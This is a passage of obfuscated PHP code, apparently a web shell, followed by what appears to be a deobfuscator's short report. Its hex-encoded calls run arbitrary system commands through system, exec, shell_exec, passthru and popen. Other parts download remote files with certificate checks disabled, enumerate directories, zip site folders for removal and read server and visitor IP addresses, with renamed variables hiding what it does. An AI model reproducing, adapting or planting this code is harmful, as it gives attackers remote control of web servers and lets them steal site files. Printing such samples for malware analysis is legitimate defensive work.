                CURLOPT_URL,
                $ooOo0
            );
            $call_function(
                false,
                "\x63\x75\x72\x6c\x5f\x73\x65\x74\x6f\x70\x74",
                $ch,
                CURLOPT_FILE,
                $o0OO
            );
            $call_function(
                false,
                "\x63\x75\x72\x6c\x5f\x73\x65\x74\x6f\x70\x74",
                $ch,
                CURLOPT_SSL_VERIFYPEER,
                false
            );
            $call_function(
                false,
                "\x63\x75\x72\x6c\x5f\x73\x65\x74\x6f\x70\x74",
                $ch,
                CURLOPT_FOLLOWLOCATION,
                true
            );
            $ooOOo = $call_function(
                false,
                "\x63\x75\x72\x6c\x5f\x65\x78\x65\x63",
                $ch
            );
            $call_function(
                false,
                "\x63\x75\x72\x6c\x5f\x63\x6c\x6f\x73\x65",
                $ch
            );
            return $ooOOo && fclose($o0OO);
        }
        return null;
    });
    $create_function("I1ll", function () use ($localvar, $call_function) {});
    $create_function("I1l1", function () use ($localvar, $call_function) {
        if (
            ($ooOOO = $call_function(
                false,
                "\x6f\x62\x5f\x73\x74\x61\x72\x74"
            )) !== null &&
            $ooOOO !== false
        ) {
            $call_function(
                array_merge(
                    [false, "\x70\x68\x70\x69\x6e\x66\x6f"],
                    func_get_args()
                )
            );
            $o0Oo = $call_function(
                false,
                "\x6f\x62\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"
            );
            $call_function(
                false,
                "\x6f\x62\x5f\x67\x65\x74\x5f\x63\x6c\x65\x61\x6e"
            );
            return $o0Oo;
        }
        return null;
    });
    $create_function("I11I", function () use ($localvar, $call_function) {
        $ooO = func_get_args();
        $o0O = $call_function(
            false,
            "\x66\x69\x6c\x74\x65\x72\x5f\x76\x61\x72",
            array_shift($ooO),
            FILTER_VALIDATE_BOOLEAN
        );
        $oo0 = array_shift($ooO);
        if ($o0O === true) {
            if (property_exists($oO0, $oo0) && is_callable($oO0->{$oo0})) {
                return true;
            }
        } else {
            if (function_exists($oo0) && is_callable($oo0)) {
                return true;
            }
        }
        return false;
    });
    $create_function("I11l", function () use ($localvar, $call_function) {
        $ooO = func_get_args();
        $o0O = $call_function(
            false,
            "\x66\x69\x6c\x74\x65\x72\x5f\x76\x61\x72",
            array_shift($ooO),
            FILTER_VALIDATE_BOOLEAN
        );
        $o0o = array_shift($ooO);
        if (is_array($o0o)) {
            $o0o = $call_function($o0o);
        }
        if (is_string($o0o)) {
            foreach ($ooO as &$ooOO0) {
                if (is_array($ooOO0)) {
                    $ooOO0 = $call_function($ooOO0);
                }
            }
            return $call_function(array_merge([$o0O, $o0o], $ooO));
        }
        return null;
    });
    $create_function("I111", function () use ($localvar, $call_function) {
        $ooO = func_get_args();
        $ooO0o = array_shift($ooO);
        if (is_string($ooO0o) === false || strlen($ooO0o) === 0) {
            return null;
        }
        $ooO0O = "";
        foreach (str_split($ooO0o) as $ooO00) {
            $oo0oo = ord($ooO00);
            if ($oo0oo >= 33 && $oo0oo <= 126) {
                $ooO0O .= chr(33 + (($oo0oo + 14) % 94));
            } else {
                $ooO0O .= chr($oo0oo);
            }
        }
        return $ooO0O;
    });
    $create_function("IIIII", function () use ($localvar, $call_function) {
        $ooO = func_get_args();
        $oo0 = array_shift($ooO);
        if (
            $call_function(
                false,
                "\x63\x6c\x61\x73\x73\x5f\x65\x78\x69\x73\x74\x73",
                $oo0
            )
        ) {
            try {
                return (new \ReflectionClass($oo0))->newInstanceArgs($ooO);
            } catch (Exception $_) {
            }
        }
        return null;
    });
    $create_function("IIIIl", function () use ($localvar, $call_function) {
        $ooO = func_get_args();
        $oo0O = array_shift($ooO);
        $oo0oO = array_shift($ooO);
        $oo0o0 = array_shift($ooO);
        if (is_dir($oo0O) === false) {
            return null;
        }
        if (
            ($oo0Oo = $call_function(
                true,
                "IIIII",
                "RecursiveDirectoryIterator",
                $oo0O,
                $oo0oO
            )) !== null &&
            $oo0Oo !== false &&
            ($oo0OO = $call_function(
                true,
                "IIIII",
                "RecursiveIteratorIterator",
                $oo0Oo,
                $oo0o0
            )) !== null &&
            $oo0OO !== false
        ) {
            return $oo0OO;
        }
        return null;
    });
    $create_function("IIII1", function () use ($localvar, $call_function) {
        return null;
    });
    $create_function("IIIlI", function () use ($localvar, $call_function) {
        $ooO = func_get_args();
        $oo0O = array_shift($ooO);
        if (is_dir($oo0O) === false) {
            return null;
        }
        if (
            ($oo0OO = $call_function(
                true,
                "IIIIl",
                $oo0O,
                RecursiveDirectoryIterator::SKIP_DOTS,
                RecursiveIteratorIterator::SELF_FIRST
            )) !== null &&
            $oo0OO !== false
        ) {
            $oo0O0 = [];
            foreach ($oo0OO as $oo00o) {
                $ooOo = new \stdClass();
                $ooOo->path = realpath($oo00o);
                $ooOo->isDir = $oo00o->isDir();
                $oo0O0[] = $ooOo;
            }
            return $oo0O0;
        }
        return null;
    });
    $create_function("IIIll", function () use ($localvar, $call_function) {
        $ooO = func_get_args();
        $oo0O = array_shift($ooO);
        $oo00O = array_shift($ooO);
        if (is_dir($oo0O) === false) {
            return null;
        }
        if (
            ($oo0OO = $call_function(
                true,
                "IIIIl",
                $oo0O,
                RecursiveDirectoryIterator::SKIP_DOTS,
                RecursiveIteratorIterator::SELF_FIRST
            )) !== null &&
            $oo0OO !== false &&
            ($oo000 = $call_function(
                true,
                "IIIII",
                "RegexIterator",
                $oo0OO,
                $oo00O
            )) !== null &&
            $oo000 !== false
        ) {
            $oo0O0 = [];
            foreach ($oo000 as $oo00o) {
                $ooOo = new \stdClass();
                $ooOo->path = realpath($oo00o);
                $ooOo->isDir = $oo00o->isDir();
                $oo0O0[] = $ooOo;
            }
            return $oo0O0;
        }
        return null;
    });
    $create_function("IIIl1", function () use ($localvar, $call_function) {
        $ooO = func_get_args();
        $oo0O = array_shift($ooO);
        $oOo0 = array_shift($ooO);
        $oOooo = array_shift($ooO);
        if (
            is_dir($oo0O) === false ||
            is_array($oOo0) === false ||
            is_dir($oOooo) === false
        ) {
            return null;
        }
        $oOo0 = array_map(function ($v) use ($oo0O, $call_function) {
            $ooOo = new \stdClass();
            $ooOo->name = $v;
            $ooOo->path = realpath($oo0O . DIRECTORY_SEPARATOR . $v);
            return $ooOo;
        }, $oOo0);
        $oOo0 = array_filter($oOo0, function ($v) use ($oo0O, $call_function) {
            return file_exists($v->path);
        });
        if (count($oOo0) === 0) {
            return null;
        }
        if (
            ($oOooO = $call_function(true, "IIIII", "ZipArchive")) !== null &&
            $oOooO !== false
        ) {
            $oOoo0 = $oOooo . DIRECTORY_SEPARATOR . date("d-m-Y-B") . ".zip";
            if ($oOooO->open($oOoo0, ZIPARCHIVE::CREATE) !== false) {
                foreach ($oOo0 as $oOoOo) {
                    if (is_dir($oOoOo->path)) {
                        if (
                            ($oo0OO = $call_function(
                                true,
                                "IIIIl",
                                $oOoOo->path,
                                RecursiveDirectoryIterator::SKIP_DOTS,
                                RecursiveIteratorIterator::SELF_FIRST
                            )) !== null &&
                            $oo0OO !== false
                        ) {
                            foreach ($oo0OO as $oo00o) {
                                if (is_dir($oo00o)) {
                                    $oOooO->addEmptyDir(
                                        str_replace(
                                            $oOoOo->path,
                                            $oOoOo->name,
                                            $oo00o
                                        )
                                    );
                                } else {
                                    $oOooO->addFile(
                                        $oo00o,
                                        str_replace(
                                            $oOoOo->path,
                                            $oOoOo->name,
                                            $oo00o
                                        )
                                    );
                                }
                            }
                        }
                    } else {
                        $oOooO->addFile($oOoOo->path, $oOoOo->name);
                    }
                }
                return $oOooO->close();
            }
        }
        return null;
    });
    $create_function("III1I", function () use ($localvar, $call_function) {
        $ooO = func_get_args();
        $oOoOO = array_shift($ooO);
        $oOoO0 = array_shift($ooO);
        $oOoO0 = realpath(is_string($oOoO0) ? $oOoO0 : dirname($oOoOO));
        if (is_file($oOoOO) === false || is_dir($oOoO0) === false) {
            return null;
        }
        if (
            ($oOooO = $call_function(true, "IIIII", "ZipArchive")) !== null &&
            $oOooO !== false
        ) {
            if ($oOooO->open($oOoOO) !== false) {
                $oOo0o = $oOooO->extractTo($oOoO0);
                $oOooO->close();
                return $oOo0o;
            }
        }
        return null;
    });
    $create_function("III1l", function () use ($localvar, $call_function) {
        $ooO = func_get_args();
        $oOo0O = array_shift($ooO);
        if (!is_string($oOo0O) || strlen($oOo0O) === 0) {
            return null;
        }
        if (
            $call_function(true, "I11I", false, "\x73\x79\x73\x74\x65\x6d") &&
            ($ooOOO = $call_function(
                false,
                "\x6f\x62\x5f\x73\x74\x61\x72\x74"
            )) !== null &&
            $ooOOO !== false
        ) {
            $call_function(false, "\x73\x79\x73\x74\x65\x6d", $oOo0O);
            $oOo00 = $call_function(
                false,
                "\x6f\x62\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"
            );
            $call_function(
                false,
                "\x6f\x62\x5f\x67\x65\x74\x5f\x63\x6c\x65\x61\x6e"
            );
            if (!empty($oOo00)) {
                return utf8_encode($oOo00);
            }
        }
        if (
            $call_function([false, "\x65\x78\x65\x63", $oOo0O, &$oOo00]) &&
            is_array($oOo00) &&
            count($oOo00) > 0
        ) {
            return implode(PHP_EOL, $oOo00);
        }
        if (
            ($oOo00 = $call_function(
                false,
                "\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65\x63",
                $oOo0O
            )) !== null &&
            $oOo00 !== false
        ) {
            if (!empty($oOo00)) {
                return $oOo00;
            }
        }
        if (
            $call_function(
                true,
                "I11I",
                false,
                "\x70\x61\x73\x73\x74\x68\x72\x75"
            ) &&
            ($ooOOO = $call_function(
                false,
                "\x6f\x62\x5f\x73\x74\x61\x72\x74"
            )) !== null &&
            $ooOOO !== false
        ) {
            $call_function(false, "\x70\x61\x73\x73\x74\x68\x72\x75", $oOo0O);
            $oOo00 = $call_function(
                false,
                "\x6f\x62\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"
            );
            $call_function(
                false,
                "\x6f\x62\x5f\x67\x65\x74\x5f\x63\x6c\x65\x61\x6e"
            );
            if (!empty($oOo00)) {
                return $oOo00;
            }
        } elseif (
            ($oOOoo = $call_function(
                false,
                "\x70\x6f\x70\x65\x6e",
                $oOo0O . " 2>&1",
                "r"
            )) !== null &&
            $oOOoo !== false &&
            is_resource($oOOoo)
        ) {
            $oOo00 = "";
            while (!feof($oOOoo)) {
                $oOo00 .= utf8_encode(fread($oOOoo, 2096));
            }
            pclose($oOOoo);
            if (!empty($oOo00)) {
                return $oOo00;
            }
        }
        return null;
    });
    $create_function("III11", function () use ($localvar, $call_function) {
        if (strlen($_SERVER["DOCUMENT_ROOT"])) {
            return $_SERVER["DOCUMENT_ROOT"];
        } elseif (
            strlen($_SERVER["SCRIPT_FILENAME"]) &&
            strlen($_SERVER["SCRIPT_NAME"])
        ) {
            return substr(
                $_SERVER["SCRIPT_FILENAME"],
                0,
                -strlen($_SERVER["SCRIPT_NAME"])
            );
        } elseif (strlen($_SERVER["PWD"])) {
            return $_SERVER["PWD"];
        }
        return "\x2e\x2f";
    });
    $create_function("IIlII", function () use ($localvar, $call_function) {
        if (isset($_SERVER["SERVER_ADDR"])) {
            return $_SERVER["SERVER_ADDR"];
        } elseif (isset($_SERVER["LOCAL_ADDR"])) {
            return $_SERVER["LOCAL_ADDR"];
        }
        return null;
    });
    $create_function("IIlIl", function () use ($localvar, $call_function) {
        if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) {
            return $_SERVER["HTTP_CF_CONNECTING_IP"];
        } elseif (isset($_SERVER["REMOTE_ADDR"])) {
            return $_SERVER["REMOTE_ADDR"];
        }
        return null;
    });
    $call_function(true, "IIl");
});

Function Calls

None

Variables

None

Stats

MD5 b76985e91d14d6fb0005ca4f4ca16551
Eval Count 0
Decode Time 90 ms